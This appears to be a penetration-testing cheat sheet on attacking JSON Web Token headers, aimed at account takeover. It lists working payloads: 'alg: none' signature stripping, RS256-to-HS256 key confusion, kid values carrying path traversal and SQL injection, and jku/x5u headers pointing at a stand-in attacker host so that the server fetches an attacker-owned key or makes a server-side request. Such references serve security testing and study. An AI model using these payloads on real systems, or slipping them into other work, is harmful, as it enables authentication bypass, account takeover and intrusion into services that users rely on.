JWT header / key tricks
The payload is a distraction. The header is the attack: alg, kid, jku, x5u, and whether the server fetches a key you control.
Tags: jwt, ato, ssrf
Techniques
alg none
Some libraries accept a missing signature when alg is none or None. Keep the payload, drop the sig, try both with and without the trailing dot.
{"alg":"none"}{"alg":"None"}{"alg":"NONE"}
RS256 to HS256 confusion
If the server uses the RSA public key as an HMAC secret, you can sign with the published PEM.
{"alg":"HS256"} + HMAC with the RSA public key
kid traversal / injection
kid used as a file path, SQL, or LDAP lookup. Point it at a file with a known secret or a canary.
kid=../../dev/nullkid=../../../tmp/keykid=' UNION SELECT ...
jku / x5u SSRF
Server fetches a JWK set from a URL in the header. Host a JWK for a key you own, or use it as SSRF.
jku=https://attacker.example/jwks.jsonx5u=https://attacker.example/cert.pem